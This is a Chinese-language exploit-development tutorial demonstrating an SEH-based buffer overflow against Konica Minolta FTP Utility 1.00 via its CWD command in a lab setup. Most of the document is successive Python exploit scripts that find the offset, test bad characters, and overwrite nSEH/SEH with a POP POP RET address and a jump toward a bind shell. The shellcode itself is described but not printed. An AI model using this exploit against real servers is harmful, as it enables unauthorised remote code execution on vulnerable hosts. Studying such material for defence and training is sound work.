跟小黑学漏洞利用开发之SEH溢出

 

书接上回,我们继续研究如何在Win32系统上利用缓冲区漏洞,完成我们新漏洞利用开发,主要是关于SEH漏洞利用问题。相比上一篇直接覆盖EIP相比,EIP覆盖此效果虽然很好,但也会存在稳定性问题(如无法找到jmp指令,或者需要地址硬编码)并且还会遇到缓冲区大小问题,从而可能限制用于目标机器shellcode空间问题。写到这里有些人想说对于SafeSEH和SEHOP绕过利用这个我们有机会在后续篇文章研究。

 

1.准备

WindowsXP—Sp3(目标机)

kali-linux(攻击机)

Konica Minolta FTP Utility 1.00

ImmunityDebugger 1.85(调试工具)—x64、OD等动态调试器都可以

需要对了解X86汇编

对python有一定了解

 

2.关于SEH

SEH俗称“结构化处理程序”,也有叫“SEH链” 当程序出现除零、非法内存访问、文件打开错误、内存不足等问题,Windows为其提供一次补救机会,即异常处理机制。SEH即异常处理结构体,如下图,每个SEH包含两个DWORD指针,处理异常必须满足两个要去:(1)一个指向当前异常处理函数的指针(SEH) (2)指向下一个异常处理结构的指针(Nseh). 因为Windows堆栈是向下生长的。所以我们看到异常处理结构是颠倒的[nSEH…[SEH]。详情如下图所示。

到此可以思考,此类问题跟开篇简单的缓冲区溢出有啥区别?如果我们例如上篇文章发送大量异常数据并且触发了SEH处理机制,windows会把寄存器清理,因此不能向往常跳EIP转执行Shellcode。值得庆幸的地方是此机制存在缺陷,我们只需要pop、pop、retn指令覆盖SEH,nSEH地址保存在ESP+8处,pop、pop、retn执行后最终会跳到nSEH执行,至此我们可以控制nSEH,就可以向上篇文章中一样控制shellcode。大致利用流程如下图所示。

综上所述,我们的基本SEH利用需要以下条件:

  • nSEH的偏移量
  • nSEH 代码跳转跳过SEH
  • 寻找包含POP  POP  RET指令的地址
  • 编写Shellcode

 

3.控制SEH和nSEH

下面此漏洞利用POC,首先登陆FTP服务器,发送“CWD”命令,此命令是改变工作目录,此命令后发送到10000个A溢出数据以确定是否引发程序崩溃以及控制SEH链。此POC在实战中唯一缺点是我们需要一个FTP用户。


#!/usr/bin/python



import socket

import sys



evil = "A"*10000



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))



data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + evil + '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

程序发送的崩溃,ImmunityDebugger堆栈窗口,如果查看此线程的堆栈(右下窗口),将能够看到从00CAF978开始的SEH链。

在Immunity中查看SEH链的最简单的方法是按Alt + S;我们看到nSEH和SEH已经覆盖。

现在我们需要确定控制nSEH和SEH所需要的字节数。此时我们需要利用非重复性字符串确认偏移量使用前篇小工具msf-pattern_create生成唯一字符串,以确定SEH覆盖偏移量长度。详情代码如下。

#!/usr/bin/python



import socket

import sys



#evil = "A"*10000

evil =

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8AcAh7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7A*****************省略***************

iAku4Mu5Mu6Mu7Mu8Mu9Mv0Mv1Mv2M"



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))



data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + evil + '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

重新发起请求,我们查看是否重写nSEH和SEH,同时我们可以利用几种方法确认偏移量,如metasploit中msf-pattern_offset,或者mona工具使用命令!mona findmsp。如图所示,计算出偏移为1037个字节就可以控制SEH链。

确认nSEH和SEH偏移量。我们调整python脚本,并用1037个“ A”填充缓冲区,确保足够覆盖。nSEH指针填充4个字节,为SEH填充4个字节,并在Immunity中确认SEH链的结果。代码如下。

#!/usr/bin/python



import socket

import sys

#offset = 1037

evil = "A"*1037 + "B" * 4 + "C" * 4 + "D" * (10000-1037-4-4)

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))

data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + evil + '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

 

4.坏字节

通过观察,发现位于B和C之后D的缓冲区。这是一个存储并检验所有坏字节的好地方。

#!/usr/bin/python



import socket

import sys

#offset = 1037

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"

"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"

"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"

"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"

"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

evil = "A"*1037 + "B" * 4 + "C" * 4 + badchars + "D" * (10000-1037-4-4-len(badchars))



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))



data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + evil + '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

再次重新发起请求。可以看出,除了NULL(\x00)字节外,没有其他坏字符被识别。

 

5.寻找未保护Pop Pop ret指令模块

现在,我们需要寻找在未开启ALSR、safeSEH保护的Pop Pop ret模块,在Immunity中使用mona,可以通过!mona seh命令,专用于查找此SEH模块,当然metasploit也提供相关工具,有兴趣小伙伴可以了解下。如图所示,使用目标程序自带动态链接库的KMFtpCM.dll中0x122063b0地址可以为我们所用。

更新代码如下


#!/usr/bin/python



import socket

import sys

#offset = 1037

#seh =0x122063b0

nseh = "\x42\x42\x42\x42"

seh = "\xb0\x63\x20\x12"



evil = "A"*1037 + nseh + seh +  "D" * (10000-1037-4-4)



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))



data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + evil + '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

修改后代码有效,并且SEH被pop pop ret 命令覆盖,通过按SHIFT + F9忽略异常运行,被重定向到POP POP RET指令的地址

进入POP POP RET指令将重定向到nSEH记录,该记录包含B的4个字节

 

6.跳转指令

现在最后一步我们需要确定跳转指令到shellcode缓冲区大小,通过计算最终跳转地址计算地址为十六进制670换算十进制1648字节。此空间足以容纳Shellcode。

此时我们可以使用metasploit中小工具msf-nasm_shell取得opcode。如图所示。

更新代码如下


#!/usr/bin/python



import socket

import sys

#offset = 1037

#seh =0x122063b0

nseh = "\xEB\x12\x90\x90"

seh = "\xb0\x63\x20\x12"



evil = "A"*1037 + nseh + seh +  "D" * (10000-1037-4-4)



s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect=s.connect(('192.168.137.128',21))



data = s.recv(1024)

s.send('USER anonymous' + '\r\n')

data = s.recv(1024)

s.send('PASS anonymous' + '\r\n')

data = s.recv(1024)

s.send('CWD ' + evil + '\r\n')

data = s.recv(1024)

s.send('QUIT\r\n')

s.close

下面是大概执行过程

通过metasploit使用msfvenom创建开启本地shell,需要注意将“\x00”字符排除在外。如图所示。

 

7.漏洞利用

执行最终漏洞利用代码,shellcode开启本地监听端口4444/TCP。连接即可获取最终Shell。

(完)